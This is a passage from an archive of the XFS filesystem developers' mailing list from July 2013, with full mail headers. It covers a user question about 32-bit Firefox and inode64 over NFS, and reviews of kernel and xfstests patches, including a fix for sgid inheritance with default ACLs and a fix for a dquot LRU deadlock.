(Windows NT 5.1; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Eric Sandeen CC: aurfalien , xfs@oss.sgi.com Subject: Re: inode64 and Firefox References: <51DC1600.7080906@sandeen.net> <51DC198C.70106@sandeen.net> X-ASG-Orig-Subj: Re: inode64 and Firefox In-Reply-To: <51DC198C.70106@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1373380533 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 7/9/2013 9:09 AM, Eric Sandeen wrote: > On 7/9/13 9:08 AM, aurfalien wrote: >> >> On Jul 9, 2013, at 6:54 AM, Eric Sandeen wrote: >> >>> On 7/9/13 8:37 AM, aurfalien wrote: >>>> Before I dig deeper, wondering if any one has issues running Firefox v22 from an XFS file system mounted using inode64 option? >>> >>> I've not tried it, but first question - 32-bit or 64-bit firefox? >> >> Its 32 bit FF. Thunderbird also has issues. Too bad :( > > Ok, below was for 64-bit, even! > > I'd file a bug w/ them, it can't be that hard to fix. Modern filesystems have 64 bit inodes, they should handle it! > > -Eric > >> Stuck in the stone age. Got a 24TB fs functioning as a home dir for ~100 pplz that I would like to modernize. Is XFS being mounted via NFS or Samba? Do your server and client versions of these support 64 bit inodes? If these are 32 bit Windows clients I think it's pretty certain they don't/can't handle 64 bit inodes. Thus this may not be strictly a FF/TB problem. We need more information. -- Stan From aurfalien@gmail.com Tue Jul 9 09:54:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 492487F37 for ; Tue, 9 Jul 2013 09:54:49 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 269EC304032 for ; Tue, 9 Jul 2013 07:54:49 -0700 (PDT) X-ASG-Debug-ID: 1373381688-04cb6c2a46a7dad0001-NocioJ Received: from mail-ob0-f177.google.com (mail-ob0-f177.google.com [209.85.214.177]) by cuda.sgi.com with ESMTP id REtLt1pt0PXF2MYm (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 09 Jul 2013 07:54:48 -0700 (PDT) X-Barracuda-Envelope-From: aurfalien@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.177 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.177] Received: by mail-ob0-f177.google.com with SMTP id ta17so7042016obb.8 for ; Tue, 09 Jul 2013 07:54:47 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.177] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.177] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=subject:mime-version:content-type:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to:x-mailer; bh=mVm52qiLTbPilLbXSWk30vpR4apfdCO5Gz2gOc8uMbs=; b=TZKQlcWzyhlnnNIwlYp0kgW46BEMcM+z2JXhZQe17cYCCIUuM5N+ErTUNoBV/QtDk0 3yKIh4emA7AOXFDuP5yILxMmfc3dp/1Vpm1w/N5LRcgbLRnIsuxn0nK2k1MlPDuwFZ/p pVbl1CHFh8h06ZMcnkmthM3a0Udvp3NvWz+k2VXcucvG71C/QFRj+mLUPSlfXPegypTV /UBAuXtOiSLP4xpUSGl8KnN2TUX1cfZbScFTV/5eMB/ixJDUoHEPtl6PLZsEvUdoPeVQ ElzAuuyWNgtegVOP5uPetM5qHThAZe+mbcm+m5dvSoYDThSXPEIDubbMIVNMZf7469BO KJWg== X-Received: by 10.60.52.78 with SMTP id r14mr24902937oeo.9.1373381687833; Tue, 09 Jul 2013 07:54:47 -0700 (PDT) Received: from [192.168.1.74] (75-63-29-182.lightspeed.irvnca.sbcglobal.net. [75.63.29.182]) by mx.google.com with ESMTPSA id mt3sm39176209oeb.1.2013.07.09.07.54.45 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 09 Jul 2013 07:54:46 -0700 (PDT) Subject: Re: inode64 and Firefox Mime-Version: 1.0 (Apple Message framework v1085) X-ASG-Orig-Subj: Re: inode64 and Firefox Content-Type: text/plain; charset=us-ascii From: aurfalien In-Reply-To: <51DC1FB4.7010108@hardwarefreak.com> Date: Tue, 9 Jul 2013 07:54:43 -0700 Cc: Eric Sandeen , xfs@oss.sgi.com Content-Transfer-Encoding: quoted-printable Message-Id: References: <51DC1600.7080906@sandeen.net> <51DC198C.70106@sandeen.net> <51DC1FB4.7010108@hardwarefreak.com> To: stan@hardwarefreak.com X-Mailer: Apple Mail (2.1085) X-Barracuda-Connect: mail-ob0-f177.google.com[209.85.214.177] X-Barracuda-Start-Time: 1373381688 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136269 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Jul 9, 2013, at 7:35 AM, Stan Hoeppner wrote: > On 7/9/2013 9:09 AM, Eric Sandeen wrote: >> On 7/9/13 9:08 AM, aurfalien wrote: >>>=20 >>> On Jul 9, 2013, at 6:54 AM, Eric Sandeen wrote: >>>=20 >>>> On 7/9/13 8:37 AM, aurfalien wrote: >>>>> Before I dig deeper, wondering if any one has issues running = Firefox v22 from an XFS file system mounted using inode64 option? >>>>=20 >>>> I've not tried it, but first question - 32-bit or 64-bit firefox? >>>=20 >>> Its 32 bit FF. Thunderbird also has issues. Too bad :( >>=20 >> Ok, below was for 64-bit, even! >>=20 >> I'd file a bug w/ them, it can't be that hard to fix. Modern = filesystems have 64 bit inodes, they should handle it! >>=20 >> -Eric >>=20 >>> Stuck in the stone age. Got a 24TB fs functioning as a home dir for = ~100 pplz that I would like to modernize. >=20 > Is XFS being mounted via NFS or Samba? NFS > Do your server and client > versions of these support 64 bit inodes? Yes, everything works except for Mozilla warez. I'm seeing if there are = any KDE issues as well. > If these are 32 bit Windows > clients I think it's pretty certain they don't/can't handle 64 bit > inodes. Thus this may not be strictly a FF/TB problem. We need more > information. >=20 My OS's both actual and virtual are 64 bit. Lin64 and Win64. - aurf From bpm@sgi.com Tue Jul 9 11:11:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 95A3D7F37 for ; Tue, 9 Jul 2013 11:11:23 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 71A1B304082; Tue, 9 Jul 2013 09:11:20 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id DDBD8500B50; Tue, 9 Jul 2013 11:11:19 -0500 (CDT) Date: Tue, 9 Jul 2013 11:11:19 -0500 From: Ben Myers To: Dwight Engen Cc: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH v2] xfstests: fix README, FSTYP options Message-ID: <20130709161119.GP20932@sgi.com> References: <20130625153423.513e4074@oracle.com> <20130626005029.GY29376@dastard> <20130627115736.66d28ca1@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130627115736.66d28ca1@oracle.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Thu, Jun 27, 2013 at 11:57:36AM -0400, Dwight Engen wrote: > commit cbcc88fb changed test selection to use shell globs, so fixup the > examples given in the README file. > > remove options for FSTYP other than NFS since the FSTYP will be automatically > detected (on Linux) from $TEST_DEV. > > Signed-off-by: Dwight Engen Reviewed-by: Ben Myers Looks good. Applied. From bpm@sgi.com Tue Jul 9 11:15:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 245187F50 for ; Tue, 9 Jul 2013 11:15:53 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id A7732AC005; Tue, 9 Jul 2013 09:15:49 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 45060500B58; Tue, 9 Jul 2013 11:15:49 -0500 (CDT) Date: Tue, 9 Jul 2013 11:15:49 -0500 From: Ben Myers To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH v2] xfstest: ensure small symlink is removed Message-ID: <20130709161549.GQ20932@sgi.com> References: <20130617203513.700537361@sgi.com> <20130708221543.GN20932@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130708221543.GN20932@sgi.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Mon, Jul 08, 2013 at 05:15:43PM -0500, Ben Myers wrote: > On Mon, Jun 17, 2013 at 08:35:05PM -0500, Mark Tinguely wrote: > > Tests the XFS symlinks that are small enough to be in the > > inode, but were move to a remote symlink due to an extended > > attribute were correctly removed. > > > > Signed-off-by: Mark Tinguely > > Works great. > > Reviewed-by: Ben Myers Applied. From sandeen@sandeen.net Tue Jul 9 11:26:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 387FD7F4E for ; Tue, 9 Jul 2013 11:26:22 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0D4768F8066 for ; Tue, 9 Jul 2013 09:26:21 -0700 (PDT) X-ASG-Debug-ID: 1373387181-04cbb0468ed37590001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id JLNQeYnvENNlsTam for ; Tue, 09 Jul 2013 09:26:21 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator-563.local (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id C4FF561C8FBC; Tue, 9 Jul 2013 11:26:19 -0500 (CDT) Message-ID: <51DC39AC.4090003@sandeen.net> Date: Tue, 09 Jul 2013 11:26:20 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Ben Myers CC: Eric Sandeen , xfs-oss Subject: Re: [PATCH] xfs: check on-disk (not incore) btree root size in dfrag.c References: <4F7225BA.40200@redhat.com> <51C227ED.5010108@sandeen.net> <20130620170929.GY20932@sgi.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: check on-disk (not incore) btree root size in dfrag.c In-Reply-To: <20130620170929.GY20932@sgi.com> X-Enigmail-Version: 1.5.1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1373387181 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136275 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 6/20/13 12:09 PM, Ben Myers wrote: > On Wed, Jun 19, 2013 at 04:51:41PM -0500, Eric Sandeen wrote: >> On 3/27/12 3:40 PM, Eric Sandeen wrote: >>> xfs_swap_extents_check_format() contains checks to make sure that >>> original and the temporary files during defrag are compatible; >>> Gabriel VLASIU ran into a case where xfs_fsr returned EINVAL >>> because the tests found the btree root to be of size 120, >>> while the fork offset was only 104; IOW, they overlapped. >>> >>> However, this is just due to an error in the >>> xfs_swap_extents_check_format() tests, because it is checking >>> the in-memory btree root size against the on-disk fork offset. >>> We should be checking the on-disk sizes in both cases. >>> >>> This patch adds a new macro to calculate this size, and uses >>> it in the tests. >>> >>> With this change, the filesystem image provided by Gabriel >>> allows for proper file degragmentation. >> >> I think this and the followup patch 2/1 got lost. >> >> Ben, any idea? > > Yeah. Sorry Eric. I see the first patch is now merged. Can you please also merge the 2nd patch? It is also reviewed already. Thanks, -Eric From bpm@sgi.com Tue Jul 9 12:06:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9D4447F51 for ; Tue, 9 Jul 2013 12:06:13 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8C380AC003; Tue, 9 Jul 2013 10:06:09 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 94825500B4B; Tue, 9 Jul 2013 12:06:08 -0500 (CDT) Date: Tue, 9 Jul 2013 12:06:08 -0500 From: Ben Myers To: Dave Chinner Cc: Carlos Maiolino , xfs@oss.sgi.com Subject: Re: [PATCH] Subject: [PATCH] xfs: fix sgid inheritance for subdirectories inheriting default acls [V3] Message-ID: <20130709170608.GR20932@sgi.com> References: <1371836753-3327-1-git-send-email-cmaiolino@redhat.com> <20130708211121.GI20932@sgi.com> <20130708234235.GD3438@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130708234235.GD3438@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) On Tue, Jul 09, 2013 at 09:42:35AM +1000, Dave Chinner wrote: > On Mon, Jul 08, 2013 at 04:11:21PM -0500, Ben Myers wrote: > > On Fri, Jun 21, 2013 at 02:45:53PM -0300, Carlos Maiolino wrote: > > > XFS removes sgid bits of subdirectories under a directory containing a default > > > acl. > > > > > > When a default acl is set, it implies xfs to call xfs_setattr_nonsize() in its > > > code path. Such function is shared among mkdir and chmod system calls, and > > > does some checks unneeded by mkdir (calling inode_change_ok()). Such checks > > > remove sgid bit from the inode after it has been granted. > > > > > > With this patch, we extend the meaning of XFS_ATTR_NOACL flag to avoid these > > > checks when acls are being inherited (thanks hch). > > > > > > Also, xfs_setattr_mode, doesn't need to re-check for group id and capabilities > > > permissions, this only implies in another try to remove sgid bit from the > > > directories. Such check is already done either on inode_change_ok() or > > > xfs_setattr_nonsize(). > > > > > > Changelog: > > > > > > V2: Extends the meaning of XFS_ATTR_NOACL instead of wrap the tests into another > > > function > > > > > > V3: Remove S_ISDIR check in xfs_setattr_nonsize() from the patch > > > > > > Signed-off-by: Carlos Maiolino > > > > > > - if (mp->m_flags & XFS_MOUNT_RDONLY) > > > - return XFS_ERROR(EROFS); > > > + /* If acls are being inherited, we already have this checked */ > > > + if (!(flags & XFS_ATTR_NOACL)) { > > > + if (mp->m_flags & XFS_MOUNT_RDONLY) > > > + return XFS_ERROR(EROFS); > > > > > > - if (XFS_FORCED_SHUTDOWN(mp)) > > > - return XFS_ERROR(EIO); > > > + if (XFS_FORCED_SHUTDOWN(mp)) > > > + return XFS_ERROR(EIO); > > > > > > - error = -inode_change_ok(inode, iattr); > > > - if (error) > > > - return XFS_ERROR(error); > > > + error = -inode_change_ok(inode, iattr); > > > + if (error) > > > + return XFS_ERROR(error); > > > + } > > > > I'm not so sure about this change yet. Looks like the two relevant callers are: > > > > .set - xattr_handler > > xfs_xattr_acl_set > > xfs_set_mode > > xfs_setattr_nonsize(..., XFS_ATTR_NOACL); > > > > and > > > > xfs_vn_mknod > > xfs_inherit_acl > > xfs_set_mode > > xfs_setattr_nonsize(..., XFS_ATTR_NOACL); > > > > I suggest moving the forced shutdown and readonly checks outside of the > > XFS_ATTR_NOACL conditional. I'm not seeing those checks in xfs_attr_acl_set or > > xfs_vn_mknod and it won't hurt to be careful. > > In both cases, the read-only checks are done at much higher layers > and so we don't ever get to xfs_setattr_nonsize() through these > paths with a read-only filesystem. Shutdown doesn't really matter - > the transaction commit will fail if the filesystem is shut down... > > > It also seems like inode_change_ok might have some other checks that are > > necessary to determine whether it is ok to update the mode and ctime here. A > > call to inode_owner_or_capable as is done in inode_change_ok would cover this > > possibility. > > The inode permission checks are already done by xfs_xattr_acl_set(): > > if ((current_fsuid() != inode->i_uid) && !capable(CAP_FOWNER)) > return -EPERM; > > and in the case of xfs_inherit_acl() the user has just created the > file so they - by definition - have permission to inherit the ACL > and modify the mode of the inode they just created. > > So there is no need for changes to inode_change_ok() here. Carlos, if you agree with Dave's assessment consider this Reviewed-by: Ben Myers let me know what you think and I'll pull it in. Thanks, Ben From glommer@gmail.com Tue Jul 9 13:02:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0A4977F55 for ; Tue, 9 Jul 2013 13:02:15 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id F07CB8F8068 for ; Tue, 9 Jul 2013 11:02:11 -0700 (PDT) X-ASG-Debug-ID: 1373392929-04cb6c2a46a8d4d0001-NocioJ Received: from mail-la0-f49.google.com (mail-la0-f49.google.com [209.85.215.49]) by cuda.sgi.com with ESMTP id XkA76XO5KVPHPAJ7 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 09 Jul 2013 11:02:10 -0700 (PDT) X-Barracuda-Envelope-From: glommer@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.215.49 X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.49] Received: by mail-la0-f49.google.com with SMTP id ea20so4920421lab.22 for ; Tue, 09 Jul 2013 11:02:09 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.49] X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.49] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=RLFGGfdYa0T0mhn9e6xR1yP1QWuHMh9Uuz+CbIO5buA=; b=sq+sH7caRakjiPpl31Jqydmq/gHxoh8SSHeZCe5vODd7I6o4x0+4SHRDyAc/uA99Pu eesxDBshoecVtPMVQyzmwmJRLAaIcowDz69Qf7AMqonDJxI2HxC4NjYfATZ5nkpeajW1 e+Y0+Xg0YPJS/SXMrBQ3Hud5ps6KvcHXDYbl7B2WsH4ODt6l1eIjSZxeu2svh1U7GAlS KFZad/9Oj38MiRehUKLYjy+LSRkK0mB/2JGXs1QsvZLnMqRbUUGN4oxGNlGZMkwUx3Ex NPnr5zQvPCYxcIHgbXmJ+lvAELa7GnPhjiof3BvXpRCgO08DVSFIZitlFwh8GHDQfrYZ H2hg== X-Received: by 10.152.6.169 with SMTP id c9mr13352570laa.47.1373392929271; Tue, 09 Jul 2013 11:02:09 -0700 (PDT) Received: from localhost.localdomain ([46.39.244.6]) by mx.google.com with ESMTPSA id rx1sm9454252lbb.0.2013.07.09.11.02.07 for (version=TLSv1 cipher=RC4-SHA bits=128/128); Tue, 09 Jul 2013 11:02:08 -0700 (PDT) Date: Tue, 9 Jul 2013 22:02:05 +0400 From: Glauber Costa To: Dave Chinner Cc: akpm@linux-foundation.org, xfs@oss.sgi.com, linux-mm@kvack.org, linux-fsdevel@vger.kernel.org, glommer@openvz.org, mhocko@suze.cz Subject: Re: [PATCH] [MMOTM] xfs: fix dquot isolation hang Message-ID: <20130709180203.GD9188@localhost.localdomain> X-ASG-Orig-Subj: Re: [PATCH] [MMOTM] xfs: fix dquot isolation hang References: <1373265261-30314-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373265261-30314-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: mail-la0-f49.google.com[209.85.215.49] X-Barracuda-Start-Time: 1373392930 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136281 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Michal and Andrew, here is the patch On Mon, Jul 08, 2013 at 04:34:21PM +1000, Dave Chinner wrote: > From: Dave Chinner > > The new LRU list isolation code in xfs_qm_dquot_isolate() isn't > completely up to date. Firstly, it needs conversion to return enum > lru_status values, not raw numbers. Secondly - most importantly - it > fails to unlock the dquot and relock the LRU in the LRU_RETRY path. > This leads to deadlocks in xfstests generic/232. Fix them. > > Signed-off-by: Dave Chinner > --- > fs/xfs/xfs_qm.c | 10 ++++++---- > 1 file changed, 6 insertions(+), 4 deletions(-) > > diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c > index 46743cf..a10a720 100644 > --- a/fs/xfs/xfs_qm.c > +++ b/fs/xfs/xfs_qm.c > @@ -659,7 +659,7 @@ xfs_qm_dquot_isolate( > trace_xfs_dqreclaim_want(dqp); > list_del_init(&dqp->q_lru); > XFS_STATS_DEC(xs_qm_dquot_unused); > - return 0; > + return LRU_REMOVED; > } > > /* > @@ -705,17 +705,19 @@ xfs_qm_dquot_isolate( > XFS_STATS_DEC(xs_qm_dquot_unused); > trace_xfs_dqreclaim_done(dqp); > XFS_STATS_INC(xs_qm_dqreclaims); > - return 0; > + return LRU_REMOVED; > > out_miss_busy: > trace_xfs_dqreclaim_busy(dqp); > XFS_STATS_INC(xs_qm_dqreclaim_misses); > - return 2; > + return LRU_SKIP; > > out_unlock_dirty: > trace_xfs_dqreclaim_busy(dqp); > XFS_STATS_INC(xs_qm_dqreclaim_misses); > - return 3; > + xfs_dqunlock(dqp); > + spin_lock(lru_lock); > + return LRU_RETRY; > } > > static unsigned long > -- > 1.8.3.2 > From bpm@sgi.com Tue Jul 9 13:22:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3B1B47F58 for ; Tue, 9 Jul 2013 13:22:11 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 511DDAC003; Tue, 9 Jul 2013 11:22:07 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 0FD9A500B4B; Tue, 9 Jul 2013 13:22:07 -0500 (CDT) Date: Tue, 9 Jul 2013 13:22:07 -0500 From: Ben Myers To: Eric Sandeen Cc: Eric Sandeen , xfs-oss Subject: Re: [PATCH] xfs: check on-disk (not incore) btree root size in dfrag.c Message-ID: <20130709182206.GS20932@sgi.com> References: <4F7225BA.40200@redhat.com> <51C227ED.5010108@sandeen.net> <20130620170929.GY20932@sgi.com> <51DC39AC.4090003@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51DC39AC.4090003@sandeen.net> User-Agent: Mutt/1.5.20 (2009-06-14) On Tue, Jul 09, 2013 at 11:26:20AM -0500, Eric Sandeen wrote: > On 6/20/13 12:09 PM, Ben Myers wrote: > > On Wed, Jun 19, 2013 at 04:51:41PM -0500, Eric Sandeen wrote: > >> On 3/27/12 3:40 PM, Eric Sandeen wrote: > >>> xfs_swap_extents_check_format() contains checks to make sure that > >>> original and the temporary files during defrag are compatible; > >>> Gabriel VLASIU ran into a case where xfs_fsr returned EINVAL > >>> because the tests found the btree root to be of size 120, > >>> while the fork offset was only 104; IOW, they overlapped. > >>> > >>> However, this is just due to an error in the > >>> xfs_swap_extents_check_format() tests, because it is checking > >>> the in-memory btree root size against the on-disk fork offset. > >>> We should be checking the on-disk sizes in both cases. > >>> > >>> This patch adds a new macro to calculate this size, and uses > >>> it in the tests. > >>> > >>> With this change, the filesystem image provided by Gabriel > >>> allows for proper file degragmentation. > >> > >> I think this and the followup patch 2/1 got lost. > >> > >> Ben, any idea? > > > > Yeah. Sorry Eric. > > I see the first patch is now merged. Can you please also merge the > 2nd patch? It is also reviewed already. Patch still looks good in light of the crc work. Applied. Reviewed-by: Ben Myers From JBacik@fusionio.com Tue Jul 9 14:07:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 10CD07F5A for ; Tue, 9 Jul 2013 14:07:37 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id E8022304082 for ; Tue, 9 Jul 2013 12:07:33 -0700 (PDT) X-ASG-Debug-ID: 1373396849-04bdf02b8eb2e1e0001-NocioJ Received: from dkim1.fusionio.com (dkim1.fusionio.com [66.114.96.53]) by cuda.sgi.com with ESMTP id 46josX8AUpd6D66C (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 09 Jul 2013 12:07:30 -0700 (PDT) X-Barracuda-Envelope-From: JBacik@fusionio.com X-Barracuda-Apparent-Source-IP: 66.114.96.53 Received: from mx1.fusionio.com (unknown [10.101.1.160]) by dkim1.fusionio.com (Postfix) with ESMTP id C1FED7C0417 for ; Tue, 9 Jul 2013 13:07:29 -0600 (MDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fusionio.com; s=default; t=1373396849; bh=BLcQljd7pG6grkiKLRoehHoUQsnZ2O/2IgtU2DFltUA=; h=From:To:Subject:Date; b=ciP55KhPYKxJNEqNeWszQ1n/OLWXMSiy5M2UnsTdyGHz2oauPMWfhnWtiGz6kdC6i gG8I3l/upZSUoRn0CMI+fHydT3TvxXDWypdgaioqF17FMflmM/HIzT2HNbUa68qn9f VJ/Wt+LdMoGfwDn4ybLjaxqjySliBPych9ZmoXFg= Received: from CAS2.int.fusionio.com (cas2.int.fusionio.com [10.101.1.41]) by mx1.fusionio.com with ESMTP id fXgBkaVw5nD2vleo (version=TLSv1 